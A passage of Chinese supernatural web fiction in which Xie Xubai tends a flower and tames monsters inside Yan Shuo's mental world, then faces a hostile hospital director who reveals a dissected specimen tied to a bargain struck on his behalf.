对谢叙白有好感和好奇心是一回事,被触碰到内心世界又是另一回事。 他承认,是他轻视了谢叙白。他也没想到这个人类胆大包天到如此程度,谁的精神海都敢擅闯! 从此以后,他会把小触手关起来,不会再允许自己再像今天这样有一丝一毫的失误! 或许是感受到背后滚烫的目光,谢叙白似有所觉地回头,和宴朔猝然对上眼。 宴朔正要伸手把他丢出去,却顺着青年侧开的身体,望见一个绝对不该出现这里的东西。 ——一朵开在贫瘠土地上的花,而且还是大马路上随处可见的粉白色小花。 看到这一幕,宴朔鬓角青筋暴跳,努力压抑火气,一字一顿地质问道:“你把什么东西带到了这里?” “……”谢叙白当即从陡然撞见宴朔的震惊中抽离出来。 他把小触手和宴朔当成两个不同的个体,万万没想到会在这里看见男人。 同时他感觉到宴朔的愤怒和脚下大地的剧烈颤动,没有再犹豫,冷静且不失快速地吐出重点:“不是我带来的,这朵花就长在岩石下。” “我看它努力地往外钻,但被石头压得起不来,就帮它把石头挪到了旁边。” 宴朔动作一滞。 他的视线投向谢叙白的双手,玉白的手指上满是黑泥。 后者单膝跪地,哪怕与他对峙,手也没挪开一点,在呼啸不绝的冷风和万千怪物的危险凝视下,护着一朵竭力生长的小花。 时刻充斥着刺耳咆哮和轰然雷鸣的黑暗世界,陡然陷入针落可闻的安静。 谢叙白以为又发生什么变故,绷紧肌肉,喉结滚动,谨慎地观察着宴朔的一举一动。 却看见笼罩在对方脸上的浓雾出现不稳的晃动。 那些白雾若碎裂的面具,一点一点地掉落下来,露出半边轮廓深邃的面颊,和一只瞳孔骤缩、恍若出神的眼睛。《 》 55-60 第56章 驯兽 那像是森严壁垒出现一瞬间的兵荒马乱。 宴朔猝然回神,抬手按住脸,破碎的白雾迅速凝聚,瞬息间将本人遮挡得密不透风。 只留空气中氤氲缭绕的白烟,欲盖拟彰地宣示着对方内心的不平静。 没有人愿意被窥探内心。 何况精神海连接着大脑意识,若是遭到破坏,很有可能对当事人造成无法挽救的伤害,严重者甚至会脑死亡。 谢叙白谨慎观察,见宴朔似乎冷静不少,带着歉意认错:“对不起,贸然闯入你的精神世界并非我的本意。” 他快速解释自己为什么会出现在这里,同时隐秘地瞥了眼掌下的小花。 如果为了安全考虑,在宴朔没有出手的第一时间,他就应该马上道歉离开。 但谢叙白实在舍不下这朵花。 他不清楚小触手和宴朔的精神世界为什么会连在一起,也不知道两者到底是什么关系。 ——共生?寄生?分身? 那不重要。 谢叙白只知道,小一就是小一,有点顽劣但心肠不坏,没有安全感的时候会自闭地盘成一团,时时刻刻都想着保护他,喜欢用尖尖缠上他指尖撒娇的乖小孩。 谢叙白虽是新手小白,但刚治愈过六十多只小家伙,多少有点经验。 眼下的精神世界满目疮痍,眺望远方,全是怪物,宛如硝烟弥漫的战场。 这样的情况绝对不正常。 特别是宴朔刚才气恼的时候,黑暗气息几欲爆发,大地开裂,风暴怒啸,整个精神世界都在摇摇欲坠,仿佛处于即将毁灭的边缘。 这让谢叙白怎么敢放手。 宴朔一看就不是会怜花惜草的性格,怕是他前脚刚离开,后脚小花就会被风暴摧毁。 到那时候,小一又该怎么办? 谢叙白斟酌言语,抬眸和宴朔视线齐平,谨慎地打商量:“这里被侵蚀的程度非常严重……您最近是不是休息得不好,经常失眠?” “……” 宴朔不知道在想什么,维持着一动不动的姿势。 但投来的视线,没有引起谢叙白的慌张和恐惧。 谢叙白不免有些庆幸,庆幸这里是宴朔的精神世界。 所有微乎其微的情绪变化都会被放大,一览无遗。 他可以更加清晰地观察宴朔的情况变化,借此随机应变,见招拆招。 风声徐徐,没有暴起的征兆。哪怕宴朔什么都不说,谢叙白也有几分底气。 他放柔声线,一针见血地点明:“这是因为您的意识海从未感受过安宁。” “如果您是渴望纷争、享受杀戮的人,那么意识海内就不会长出这朵小花。” “它并非和风暴分庭抗礼,而是被压在石头下奄奄一息,意味着您的部分自我在饱受煎熬,即将丧失。或许您的意志力极强,并不把这事看在眼里,但它会如实影响到您的身体。” 谢叙白根据治疗吕向财的经验,合理推测道:“失眠只是最轻的症状,如果继续放任下去,您会开始头疼、意识不清、经常性昏迷,乃至于失忆,忘记很多和自己有关的东西。” 提到前面的那些话,宴朔都没有明显的反应。 只有最后的“失忆”两个字,让盘踞云霄之上的雷霆都忍不住一僵,褪去气势汹汹的模样。 谢叙白怎会错过这一细节? 他很惊讶宴朔竟然也会感到不安,并瞬间联想到那次海边练舞。 ——男人不知道自己为什么在愤怒,他是否记忆有损? 谢叙白灵光一闪,乘胜追击:“如果建设好精神世界,说不定能增强您的记忆力。” “有利于提高学习和工作效率,以及——想起一些无意间遗忘的旧事。” 青年口吻轻柔。 但最后半句说出口的瞬间,却宛如塞壬蛊惑人心的歌谣,震撼人心。 刹那间,咆哮不绝的风声、轰然震耳的雷鸣、怪物无意义的嘶吼全都停了下来。 空气死寂,像一种无言的挣扎。 谢叙白静等着。 终于在不知道多久后,传来宴朔沙哑低沉的声音:“你想怎么做?” “一般的治愈流程,是帮您控制污染,即用强势手段禁锢住那些祸乱的源头。但那样做见效太慢,仅凭我一人,没法挽救一整个世界。” 说到这里,谢叙白微微一顿。 按照普罗大众的理解,“治愈”应该是彻底治疗伤口,即清除意识海内的污染,恢复本貌。 却不知道为什么,吕向财给他找来医学书,他逐页翻看过去,里面提及的各种治愈手段,目的都只为控制祸乱源,仿佛不继续恶化就是万幸。 谢叙白不清楚个中缘由,不敢贸然拿吕向财他们当实验品。 但眼前有一个看起来博古通今的宴朔。 谢叙白半是询问,半是尝试地提议道:“您看起来很抗拒有人在自己的意识海里留下东西,所以我们或许可以退而求次,让这朵花茁壮盛放,掉下花种,长出花海。” “美好的事物变多了,烦闷愁苦的东西自然就少了,您说是不是?” 这次宴朔没有沉默很久。 他仿佛默认一般,走到谢叙白的身边。 在后者意外的注视下,宴朔半蹲身,静静地凝视青年掌下的小花。 哪怕现在,他也认为这朵花是不应该,且不可能存在于自己精神世界的东西。 但它确实出现了,悄无声息地生根发芽,成为黑暗世界里一抹鲜明的色彩,让人无法忽视。 宴朔尝试触碰花瓣。 结果谢叙白一秒屏住呼吸,表现得比他这个当事人还要紧张。 这种被人珍视的感觉,让宴朔有些复杂。 复杂了没几秒,小触手头昏眼花地从谢叙白的影子里爬出来:【好晕哦……】 它没有本体那么强大的意志力,第一次内视完整的意识海,受到的冲击不比谢叙白小。 虽然宴朔把小触手认作自己的躯壳,但看着它这副蠢样子,实在很难产生认同感。 小触手似乎注意到谢叙白掌下的小花,晕晕乎乎地将尖尖伸过去:【这是什么呀?】 它没看清楚,本能地感觉很珍贵,想要抓起来,收为自己的藏品。 宴朔眉头紧锁,欲要厉声阻止。 结果刚还对小花紧张万分的谢叙白,竟放任小触手的大胆触碰,顺势捏住触手尖尖,温柔地教它收敛力道。 “这是开在你心里的小花,看,是不是和我们的小一一样可爱?” 宴朔:“……” 可爱? 宴朔冷冷地凝视那朵平平无奇的小花,花瓣残缺,沾着黑泥,实在没看出哪里可爱。 小触手有些蔫蔫儿的,结果刚一触碰到花,就有一股愉悦高兴的情感汹涌而至,令它清醒放松。 它精神抖擞,认真地观察一会儿,积极地表示赞同。 【是的耶!可爱漂亮,但是好小一朵。】 “因为任何东西都是需要好好呵护的,如果冷漠它,无视它,放任它暴露在凛冽的寒风里,它小小一朵,无依无靠,又要怎么长得高大?” 谢叙白柔声道:“反之,如果给予它充足的养分,细心照料,终有一日它会长成美艳动人的模样。” “所以小一要好好爱惜它,就像刚才那样,不能对花太用力,知道吗?” 【好哦!】 说起来,这还是宴朔第一次看完谢叙白教导小触手的全过程。 仅是三言两语的诱哄,便让祂的躯壳碎片忍住掠夺占有的欲望。 他感觉稀奇,忍不住又瞥过去两眼。 谢叙白松开小触手的尖尖,放孩子自己学习控制力道。 接着宴朔的手被人握住,是青年温热的手掌伸了过来,领他轻触花瓣。 一瞬间福如心至,宴朔感到荒谬又可笑。 合着谢叙白刚才那么紧张,是把他当成了恶劣不知收敛的躯壳碎片。 那番话不止是在教导躯壳,还是在点他。 成何体统? 可指尖触碰到花瓣的眨眼间,宴朔忽然什么情绪都没了。 只有柔软的触感自指尖传来,那么脆弱,那么轻薄,仿佛稍一用力就会破损。 “没事的。”见宴朔仿佛受惊一般,手指下意识地往回缩,谢叙白拉住他。 谢叙白温言细语地安抚道:“它虽然弱小,但也没有您想象中那么不堪一击,要知道就连沉重的岩石都没能将它压垮。” 顺着谢叙白的眼神,宴朔看到了那块半个人高的大石头。 他回神,看着被谢叙白握住的手,忽然意味不明地问:“你经常这样?对谁都有一套自圆其说的说辞。” 谢叙白眨眨眼:“您指什么?” 宴朔无声地扯了扯嘴角,又装糊涂。 别以为他没看见,青年出声试探他的时候,视线余光一直瞄着精神世界的异动。 说一句之前,脑子里能想十句。 也不知道以前经历过什么,才养成这副八面玲珑的性子。 宴朔欲要抽手,却触及谢叙白指尖的黑泥,动作微停。 ……他不准备说谢谢,因为知道谢叙白忍着畏惧留在这里,大概率是为了小一。 但他并非不知感恩。 倏然被宴朔反手扣住手掌,谢叙白一惊。 如果说男人的手让谢叙白想起万里雪国的寒铁,那么握住青年的宴朔,则觉得自己像捧着一汪暖热的春水。 猝然接触到和自身完全不同的特性,两人都有些不自在,但都掩饰得很好。 宴朔道:“动用你的精神力。” 谢叙白直觉宴朔没有坑害自己的理由,便依言照做。 他的精神力是一团金色的光芒,静静地散发着温暖的热意。 不会强烈到刺伤人的眼睛,像寒冬腊月的小太阳,让生灵忍不住靠近。 黑暗世界的光源,就算不刺目,也极其显眼。 附近的千面怪物全都被吸引过来,痴痴地看着他手中的光团。 张开的嘴巴忘记合拢,牙齿上还挂着黑泥,浓稠黏腻的涎水顺着嘴角淌落在地,滴滴答答。 谢叙白看看宴朔,又看看近前如饥似渴的怪物,想了想,分出一小缕喂给对方。 怪物瞬间身子后仰,不知道是震惊他的慷慨,还是警惕这里面有诈。 它余光瞄见周围的同族在蠢蠢欲动,顿时顾不上那么多,凶狠地扑上去,一口吞下光团。 怪物浑身一震。 美味!好吃! 它意犹未尽地舔舔嘴唇,态度瞬间殷勤起来。 别说怪物们吃惊,宴朔也忍不住沉默一瞬,怪异地问道:“……你在干什么?” “它们看起来有自我意识,不像纯粹的污秽。” 大概是家里养着很多小怪物,而小家伙们生前又饱受误解和歧视。 现在的谢叙白爱屋及乌,每看见一只活物,都会先尝试能不能和对方沟通交流。 他柔声道:“喜欢么?如果我再给你一点,你能不能帮我保护这朵花?” 被谢叙白点到的怪物突然跳起来,张开粗壮的肢干,露出尖锐的獠牙,恐吓周围的怪物。 在它的嘶声威胁下,其他虎视眈眈的怪物忍不住退散,谢叙白的周围瞬间空出一大片。 谢叙白见状惊喜,不止给出答应的一缕精神力,还多送出去一缕。 怪物迫不及待地大快朵颐。 可它吃完后,并没有立即离开,望着谢叙白掌心剩下的光辉,利爪往前一步,不断逼近,做出抢夺的架势,贪婪本性暴露无遗。 “得寸进尺。”宴朔冷声道。 随着他的话音落下,谢叙白感觉到一股凌厉凶戾的精神力,顺着男人贴住手背的位置传来。 而他的精神力,则在那股精神力的引导塑造下,突然凝结成一道利刃,笔直地劈向那头怪物。 怪物凄惨地痛叫一声,脸上裂开偌大的口子,捂着淌血的伤口落荒而逃。 宴朔波澜不惊地收回视线,看向谢叙白:“记住刚才的感觉没有?你再试一次。” “……”谢叙白将视线从地上的那滩黑血上收回,手指一动,汇聚精神力。 他悟性不差,又有之前不断练习的经验。 只被宴朔引导过一遍,便能将精神力凝结成大概的模样,至少具备刚才的五分威势。 宴朔点头赞赏:“不错。” “这里的污秽源源不断,适合用作你锤炼精神力的标靶,你将躯……小一带在身边,它们就不敢攻击你,你可以随时进来练习。” 谢叙白道:“会不会伤到你?” 宴朔自发理解为:会不会伤到小一? 他掀了掀眼皮,不痛不痒地轻嘲道:“我如果能这么轻易被伤到,那不如回炉重造。” 说着,瞥向还在那拨动花瓣、根本没受到一点影响的小触手,冷漠道:“它也一样。” 谢叙白知道宴朔没开玩笑,刚才攻击那头怪物的时候,对方眼皮子都没颤一下,丝毫不在意会不会误伤他处。 他自然承情。 精神力既然能治愈他人,自然也能用作攻击的武器,谢叙白知道这一点,但是无处训练。 而他即将奔赴怪物的巢穴,只有治愈的手段,明显无法自保。 宴朔看出他的窘境,主动提议拿自己的精神世界给他练习,谢叙白不可谓不触动。 本以为到此为止,谁知道宴朔松手摸向自己的手指,啪的一声,眼也不眨地扭断一截。 谢叙白的心脏瞬间咯噔一下,看得心惊肉跳。 伤口截面没有流血。 而那掰折下来的半截手指,也像滑腻的触手般扭动起来,眨眼间拉长、变形,一副金丝细框眼镜倏然出现在宴朔的掌心。 “靠近一点。”宴朔双手托起手中的眼镜,正对着谢叙白的脸。 他的语气淡然,浑然不觉刚才的一系列行为,对人类来说有多么惊悚。 谢叙白努力掐着手指,忍住往回缩的冲动。 也是这个时候,他嗅到眼镜上弥漫而出的水汽。 丝丝缕缕,冰冰凉凉,咸中泛着微微的苦涩,和小触手别无二致。 是大海的气息。 让谢叙白想起那晚苍茫月光下的海岸线,潮水呼啸拍岸,溅起雪白如银的水沫。 谢叙白没有告诉任何人,他此前从未见过大海。 结果一见,便是风景美如画、缥缈如仙境的无垢之海。 谢叙白闭了闭眼睛,将脑袋缓缓地凑过去。 刚好宴朔手指往前一递,眼镜框搭上他的耳垂。 莫名的默契。 柔顺的鬓发垂落指腹,微痒。 宴朔看着青年浓密纤长的眼睫毛,鬼使神差地将那缕黑发挑起,别在青年的耳后。 谢叙白抬起头。 别说这副眼镜的制作过程令人毛骨悚然,戴上后却没有一点不适,甚至轻微的重量都感受不到。 眼镜是平光的,不影响视觉。 不知道是不是错觉,谢叙白感觉自己快要枯竭的精神力都恢复不少。 他试着新眼镜,有些新奇。宴朔却面向他,突然停住,似乎又陷入一种无声的深思中。 半晌,男人才道:“不错。” “什么不错?” 宴朔回神,凝视着谢叙白的脸,忍不住帮人调整眼镜的位置,缓声道:“它很适合你。” 他的动作自然而然,于是谢叙白也不好扭捏。 抬眸的瞬间,泠泠眸光从镜片上一闪而过,金丝框架衬出皮肤的白皙,莫名有种清冷俊雅的气质。 和上次给青年点眉心痣时一样,那股莫名的悸动再次出现,令他呼吸不稳。 宴朔忍着这莫名的失控感,皱了皱眉头,淡声解释道:“这世间没有永恒的事物,小一不可能随时随地跟在你的身边,这副眼镜也能帮你混淆他人的认知。” “旁人会把戴眼镜的你认成他人,你可借此伪装身份。等日后你的精神力再高一点,我再教你如何运用拟态的力量隐身和改变容貌。” 说话的间隙,宴朔断裂的手指截面一阵颤动。 新的血肉和骨骼眨眼生成,他的手指恢复如初。 “我还有工作没有处理完。”宴朔道,“你自便。” 男人说要离开,一点都不拖泥带水,只是半个呼吸的功夫就消失不见。 谢叙白原本还想道谢,见状只能将话吞咽回去。 小触手还没玩够,但听到宴朔的话,立时凑过来,不依不饶地哼唧:【白白,别听他挑拨,我以后一定会一直留在你的身边!】 谢叙白笑着揉了揉它:“好!以后只要小一需要我,不管多远,不管多晚,我一定会出现。” 小触手兴奋地伸出尖尖:【拉钩钩!】 “好好好,拉钩钩,一百年不许变。” 一人一触手郑重地许诺完,谢叙白起身将周边的巨石推过来,围在小花的周围,用作遮风帐,挡住呼啸的寒风。 做完这一切,谢叙白没急着走。 环顾四周,到处都是狰狞可怖的怪物,密密麻麻,相差无几。 谢叙白抬了下眼睛,手中凝聚精神力,金色的光团散发出柔和温暖的光晕。 怪物们被吸引,朝着他不断靠近。 谢叙白又抬起另一只手,金色光刃悬在半空,散发着凛然威势。 一半怪物瞬间退后,一半怪物留在原地。 还有极其显眼的几个,不畏金芒的锐利,明目张胆地继续靠近。 碍于小触手在不停地“龇牙咧嘴”,没走几步就停了下来。 “看来我没猜错。”谢叙白喃喃自语道,“你们各有个性,不是单纯的污秽。” 他似有所觉地抬头,看向怪物潮的末尾。 一头脸上带伤的怪物正直勾勾地“盯”着他,伤口处不断往外渗血,即便没有眼睛,也能感受到它的怨恨和不甘。 谢叙白抬了抬拿着光团的那只手,尝试引诱。 第一次诱惑,怪物没有靠近。 第二次,它似乎发现谢叙白在叫自己,恶狠狠地露出獠牙。 …… 第七次的时候,周围的怪物忍不住了。 它们刚想凑过去,那头受伤的怪物一跃而起,巨大的身体落在地上发出震响。 它同时挥动有力的利爪,将挤在前排的怪物撞得东倒西歪! 做完这一切,受伤怪物方才停下来,阴郁森冷地“瞪”着谢叙白。 “你对我生出贪念,所以我不会为刚才的自卫而道歉。” 谢叙白平静地将光团伸出去:“不过我需要一个帮我守花的下手,如果你愿意,我可以再给你一次机会。” 怪物想也不想,蓄势准备冲过来。 谢叙白看向旁边的小触手:“小一,我会放它过来,如果它想吃掉我或是有其他不轨之举,你就帮我制服它。” “然后。”谢叙白对上怪物的獠牙,透明镜片反射出一道动人心魄的冷光,不容动摇地说道,“我会杀死你,听明白了吗?” 怪物用利爪刨地,仿佛泄愤,呼呼刮出深长破碎的坑洞,发出不甘的尖啸。 谢叙白举着光刃和它对峙,眼神凌厉,不让分毫。 终于在某一刻,被饥饿感折磨的怪物长长地哀叫一声,向谢叙白靠近。 它遵守规则,没有扑咬,压抑着贪婪。 可直至来到谢叙白的面前,青年也没将精神力抛给它,而是把手往前一递。 谢叙白道:“就这样吃,如果弄伤我,你不会再有第二次机会。” 怪物:“……” 它恼恨极了。 可那道精神力“看着”太过美味,凑近之后,更是香甜可口。 怪物咬咬牙,不敢伸爪子,只能把脸凑过去,小心翼翼地叼起一缕精神力。 这些向来肆意妄为的怪物,何曾这样憋屈地克制过自己? 它屡次以为自己要忍耐不住,会扑上去抱着青年疯咬。 可在谢叙白的凝视下,竟然奇迹般地忍耐下来,直至吃完对方投喂的全部精神力。 而后谢叙白伸出另一只手。 怪物记得,就是那只手凝结着让它疼痛的光刃,它立马龇牙。 谁知道谢叙白只是将手按在它的脑袋上,又揉一揉,不吝褒奖道:“你做到了,很棒。” 怪物僵住。 好半天,才伸出爪子,似乎若无其事地舔毛。 无人关注到巨石中央的小花开心地抖起花瓣,仿佛突然有了活力。 细微饱满的颗粒从它的身上撒落,掉入贫瘠荒芜的大地。 转眼便来到第三天,谢叙白去医院报到的日子。 第57章 来自院长的刁难 第一医院地处流金溢彩的市中心地带,最早建立于上个世纪八十年代,综合大楼的翻新扩建不下三次。 崭新巍峨的现代化建筑背后,错落有致地矗立着一些陈旧老朽的住院楼。青黑色砖瓦,泛黄漆面,裂缝中长着滑腻的青苔,楼房鳞次栉比,高矮不一。 远远看过去,洁白干净的新楼面与灰黑残破的石砖两相映照,一条繁茂葱郁的绿化带横跨其中。 像一条清晰明了的分界线,就地划出两个不同的年代,极具割裂感。 带教老师走在走廊前方。 注意到谢叙白的视线一直落在窗外的矮房上,他笑道:“本来准备在翻修的时候一起拆除,但上一任老院长说,这些都是没有写在书上的历史,于是保留了下来。” 带教老师也是五六十岁的老资历,不由得感慨道:“包括一些看护站、药物陈列室……听说那时候没什么条件,极其缺乏物资,甚至需要自己配药。” “有时候摆张简易病床,再拉几张薄帘子,就是一间集体病房,根本顾不上什么交叉感染。” 谢叙白收回视线,点头道:“原来如此。” 不过,他关注那些格格不入的旧建筑并非只是好奇。 出发前吕向财告诉他,第一医院已经沦陷为怪物的巢穴。 然而谢叙白站在医院门口张望过去,蓝天白云下的建筑物高耸入云,充斥着大气磅礴的巍峨感。 步入医院正大门,问诊大厅洁净亮堂,各窗口忙忙碌碌,墙壁边整齐摆放着自动挂号机。 穿着各色服装的人群从眼前匆匆而过,不乏蓝色病服的患者和白衣服的医护人员。 前台更是挤满许多不清楚就诊流程的人,护士们没有不耐烦,为他们细心讲解。 轻柔的声音回响在嘈杂喧嚣的大厅里,仿佛能抚慰焦虑的心灵。 ——怎么看,都和森冷凶残的怪物巢穴挂不上钩。 按照诡异故事的一般套路,那些没有放在明面上的黑暗事件,大可能会出现在反差极大的旧建筑群里。 但带教老师告诉谢叙白,那些建筑物已经好几年没有使用过。 只有在新一批实习生到来后,才会作为现成的励志教科书,进行参观。 谢叙白刚才也特意观察过,除开保洁人员,基本上没有人往那边走。 沥青和碎石子铺就的小路静悄悄的,显得空旷孤寂。 或许是经常和情绪不稳定的病人接触,比较敏感,谢叙白只是稍稍往周围瞥过一眼,带教老师的余光就扫了过来,笑道:“这里是不是和您想象中不太一样?” 因谢叙白一直在观察环境,他推测青年没有来过第一医院。 其实不,谢叙白昨天就来过。 既然知道自己将要到一个危险的地方工作,他怎么可能不提前探查。 当时谢叙白没戴眼镜,用的也是本名,借感冒的由头挂号就诊。 问过病情测过温度,给他看病的老医生略显无奈:“小伙子身体很健康啊,是不是最近工作压力太大?” 没有兜售违禁药物,没有邀请参加什么秘密实验。 实在没能看出什么问题。 就连本该对谢叙白这个空降主任心生嫉恨的带教老师,面上也是一副和蔼可亲的模样。 谢叙白暂时收敛心中的疑虑,笑着回道:“是的,比我想象中要气派许多。” 带教老师的视线在谢叙白的脸上扫过一圈,表情没变,还是那副亲切的模样:“对了,还没来得及问,谢主任之前在什么地方高就?” 他道:“只是随便问一问,毕竟您知道,第一医院的聘用标准向来严苛,很少会有人突然……咳咳!如果感到冒犯,您就当我什么都没说。” 谢叙白玩笑般说道:“倒没什么冒犯不冒犯的,只是都到新地方了,再提老东家未免会显得有些三心二意,我可是很专情的。” “哈哈哈,您说笑了。” 带教老师似乎只是兴起一提,没有继续问。 路上他们遇到好几个医护人员,看见谢叙白,多都停了下来,不留声色地打量。 彼时谢叙白已经在更衣室里更换过白大褂,脸上戴着金丝细框眼镜,左胸佩戴【主任医师-谢余】的胸牌。头发稍微修短了一点,勾唇浅笑,显出几分斯文儒雅的书卷气。 有些惹眼。 于是几人看过胸牌,又忍不住去看他的脸。 谢叙白顺势看向那几人,礼貌性地含笑颔首,表示问好。 那几个人似乎意外,也回以笑容。 干净整洁大气堂皇的工作环境,友好礼貌的同事,高薪资,福利丰厚。 不提工作强度,这真的是一份很好的差事。 谢叙白稍微放松了一些。 很快他们来到院长办公室。 通常主任医师报到时,不需要先见院长,按照医院的规章制度去人力资源部门报到,完成必要的手续和文件后,拿到工作安排,就可以正式上岗。 但带教老师说,院长临时想要见他一面——就在谢叙白抵达医院的一分钟后。 时间巧妙过了头,乃至于有点微妙,谢叙白怀疑那位院长是不是在暗中观察自己。 不是谢叙白自恋,他对主任医师这个头衔会受到的关注度,一直有着比较清晰的认知和危机感。 办公室离他刚才出现的大门口隔着几栋楼,并且他当时有意站在监控盲区——如果院长真的在他进入医院后就注意到了他,那大概率又是一个诡王。 吕向财这次能找来的信息资料也很少,只提及新院长名叫傅倧,年龄五十三,男性已婚未育,妻子早年病逝后就没再娶,本地人,长年累月在外进修。 就个人身份而言,显得比身为名门贵胄的江家还要神秘。 吕向财叮嘱谢叙白,就算不能搞好关系,也最好不要与之交恶。 里面似乎感觉到两人的到来,没等带教老师敲门,便传出一声:“进。” 声线如寒冰般冷冽,带着中年人的深沉浑厚,听起来不是很好相处。 门打开,办公室的全景映入眼帘,一名中年人正坐在办公桌前处理要务,听到开门声后头也不抬。 作为位高权重的管理人员,现任院长的体格健壮得过了头,袖子反挽在上,露出来的胳膊肌肉感十足,腰背笔直肩膀宽阔,说他一拳头能打死一个人都不夸张。 那张脸很显年轻,五十多岁没有抬头纹,和四十出头相差无几。 在带教老师开口后,院长抬起头,一双眼睛如猎鹰般犀利,直勾勾地刺向谢叙白。 那眼神中带着不加掩盖的攻击性,让人想起凶猛的掠食者。 院长道:“你先出去。” 这个“你”自然指的带教老师。 带教老师自觉不妙,对谢叙白投去“好自为之”的怜惜目光,从善如流地关门离开。 门咔哒关上,空旷的室内顿时安静得针落可闻,隐约弥漫着一丝剑拔弩张的气息。 谢叙白表面不动声色,率先开口道:“院长您好,听说您想见我。” 院长深沉的目光与他对峙,皮笑肉不笑地扯了下嘴角,突然道:“你知道自己是怎么进来的么?” 开门见山的诘问。 谢叙白清楚自己的位置来路不正,不管是被质疑还是嘲讽都很正常。 前面风平浪静,现在刁难临前,让他有种“预想中的坏事终于来了”的感觉。 不过谢叙白有些奇怪。 他的聘用书是吕向财找院长签下的,对方即是知情人也是纵容者,为什么会对他突然发难? 思考只在两三秒的功夫,谢叙白斟酌话语,回道:“知道,所以我今后一定会拼尽全力,务必对得起您给出的这个职位,不堕您的威名。” 直接把两人绑成一根绳上的蚂蚱。 “……” 院长扫视他滴水不漏的神情,忽地笑出声:“你倒是会扯大旗。” 语气似乎稍微缓和一些,但绝对算不上称赞。 院长继续道:“没错,你的聘用书由我亲手签发,往后你在这家医院的所有表现,都将和我的声誉直接挂钩,所以我今天把你叫过来,是想告诉你——” 谢叙白抬头。 “放弃吧。”院长不止笑容轻蔑,眼神里都像是裹着刀子,将青年从头剖到脚,“你根本就不适合这里。” 办公室霎时间更安静了。 空气中仿佛弥漫着硝烟味,一点即燃。 谢叙白沉默地看着院长。 被人这样明目张胆地蔑视鄙夷,比起生气,他心里更多的是疑惑,愈演愈烈。 他冷静地回答道:“您说我根本就不适合这里,而不是没资格站在这里,说明引起您不满的原因,不是我的履历不够丰富,而是我本人的行为处事或性格。” “但我自觉自己的这些地方没有什么不妥。” 谢叙白不卑不亢地凝视对方的眼睛,语气平和但丝毫不让:“请您告诉我为什么。” “如果没有理由,哪怕您叫人把我丢出去,我也会无数次走进来,站在您的面前。” 院长:“你在威胁我?” “不,我很尊敬您。”谢叙白说,“我提前拜读过您的论文,知道您是一位认真严明的人,若非我有什么地方做得不对,您不会无缘无故动火。” 院长:“哦?你看过我的论文?哪一篇?” 谢叙白如实道:“所有。” 院长霎时眯了眯眼睛:“是么。那我问你,在一篇关于优化急性心肌梗患者抢救效果的文章中,我提到过三种可用的靶向药物,分别是什么?” 谢叙白口齿清晰地快速回答。 他能明显看见,在自己回答正确之后,院长的脸色又缓和了一点。 但是还没能触及到最根源的症结。 院长紧跟着又问了几个问题,谢叙白一一回答。 虽然谢叙白以防万一全都看过一遍,但院长登刊发表的医学类文章有二十篇之多,其中有很多外行人无法理解的专用名词,就算他的精神力提高,也很难全部记忆下来。 幸而院长只问到第五个就停下,取下黑框眼镜,似乎沉吟又似是思考,用眼镜布慢条斯理地擦拭着镜片。 半晌,他终于松口道:“我猜吕向财根本没有告诉你,他用什么代价换来你眼下的职位。” 谢叙白心里有种不祥的预感,瞬间凝神蹙眉:“是的,他没告诉我。” 院长没有错过他的紧张,笑道:“所以你也没问,心安理得地享受着他人的恩惠?” 谢叙白问过,但是吕向财咬死不肯说,他见对方表现得非常抗拒,出于尊重,没有继续问下去。 面对院长的嘲讽,谢叙白愈发不安,没有顾得上解释,连声追问:“您能不能告诉我,他到底和您做了什么交易?” “名利金钱于我无用,我在意的只有研究。”院长从桌下拿出来一个黑色聚丙烯材质的手提箱,当着谢叙白的面打开。 浓郁的血腥味扑面而来。 就像砸进湖面的石头,迄今为止所有宁静美好的假象,都随着它的出现轰然破碎! 谢叙白不错眼地盯着箱子里的东西,瞳孔一点点地扩张,控制不住地颤动。 “它那个级别的解剖素材,少之又少。”院长戴上手套,似乎珍惜地抚过肉块表面,感受着指下的反射性回缩,对谢叙白笑道,“你猜我有没有用麻药?” 第58章 彻底出事了 谢叙白刚动了动手指,察觉到他意图的院长反手一推,将箱子咔嚓合上。 血红的色泽霎时从眼前消失,谢叙白的视野又只剩下满室柔和干净的纯白。 他脑子很乱,嗡的一声只剩蜂鸣般的杂音。 直至指尖传来一阵剧痛,谢叙白蓦然垂眸,才发现自己刚才无意识用指尖抵着食指,掐出一道青紫色的淤痕。 院长似乎不经意地瞥了眼那道瘀痕。 谢叙白忽然问道:“在你看来,这算等价的交易?” 院长听出他口吻措辞的变化,掀眸:“你觉得不算?” “我不得不怀疑。” 谢叙白和人对上眼,语气冷冽,目光如古井般波澜无痕:“主任医师的职位是很了不起,但对能力不匹配的人来说,只有三个星期的有效期——仅仅三个星期。” 院长好以整暇地看着他:“是又如何?” 谢叙白根本不理会他,继续条理不紊地道:“按照第一医院的规章制度,新入职的医护人员将有一个月的考察期,期间无法动用该职位的大部分特权。意味着这三个星期,我除了收治病人以外什么都做不了,和徒有外壳的空架子没什么两样。” “如果遇到上司爱给下属穿小鞋,还是个背信弃义的人,比如交易者还没上任前就想方设法地把人排挤出去——” “那这位置在价值层面的含金量,更是廉价低贱到令人叹为观止!” 谢叙白目光看向桌面的手提箱,隐去眼底的沉痛,一字一顿,厉声质问:“它凭什么比得上一位高级诡王的心脏?!” “难道说这就是这家医院的【规则】?表面规矩森严,暗地里允许领导者带头坑蒙拐骗、趁火打劫、投机取巧、弄虚作假……” 随着谢叙白掷地有声地吐出后面那几个词,第一医院上方万里无云的湛蓝天空,眨眼间聚集起层层叠叠的黑云。 轰—— 听到窗外隐约的雷鸣声,本来不以为意的院长眉角狠狠一跳。 双人转过头的瞬间,一道雷霆贴着外窗墙壁轰然砸落! 谢叙白反应极快,第一时间去护桌子上的手提箱。 他惊讶地瞄见院长竟然没逃,后者满脸森然,转身一个箭步堵在雷霆乍现的窗口。 那雷霆看起来极为凶猛,有击破楼房之势,但在院长站过去后,立马弱势三分。 只是雷光荡开的余波刹不住脚,如湖面涟漪扫荡而来,啪一声震碎玻璃。 锋利的玻璃碎片如天女散花,几乎全砸在院长的身体上,剩下的也被厚窗帘挡住,唰啦啦掉落在地。 谢叙白连忙将视线从手提箱上收回:“你……” 院长转过身,密密匝匝的玻璃渣嵌入肉里,没流血,像嵌在死尸。 他脸色黑沉得仿佛要滴水,好像不知疼痛,毫无顾忌地将脸上的玻璃碎片一块块拔下来,碎片边缘沾着青黑的血沫。 院长看也不看,将它们随手丢进垃圾桶,冷眼瞥向谢叙白:“我倒不知道你还有引动【规则】的精神力。” “你从哪里得知这家医院的【规则】,吕向财告诉你的?不,【规则】非内部人员无法认知,他不可能知道。” 